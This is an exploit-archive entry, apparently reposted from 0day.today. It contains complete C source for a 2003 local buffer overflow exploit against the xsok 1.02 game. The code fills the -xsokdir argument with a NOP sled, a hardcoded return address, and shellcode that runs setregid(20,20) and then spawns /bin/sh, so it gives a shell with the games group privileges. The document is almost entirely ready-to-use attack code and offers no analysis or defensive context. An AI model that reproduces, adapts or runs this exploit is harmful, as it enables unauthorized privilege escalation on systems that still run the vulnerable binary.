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Xsok v1.02 "-xsokdir" local buffer overflow game exploit
[========================================================
Xsok v1.02 "-xsokdir" local buffer overflow game exploit
========================================================
/* 0x333xsok (2) => xsok 1.02 local game exploit
*
* Happy new year ! (2 :)
* coded by c0wboy
*
* (c) 0x333 Outsiders Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <unistd.h>
#define BIN "/usr/games/xsok"
#define RETADD 0xbffffa3c
#define SIZE 200
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
int main (int argc, char ** argv)
{
int i, ret = RETADD;
char out[SIZE];
fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
int *xsok = (int *)(out);
for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
memset((char *)out, 0x90, 63);
memcpy((char *)out+63, shellcode, strlen(shellcode));
execl (BIN, BIN, "-xsokdir", out, 0x0);
}
# 0day.today [2024-12-24] #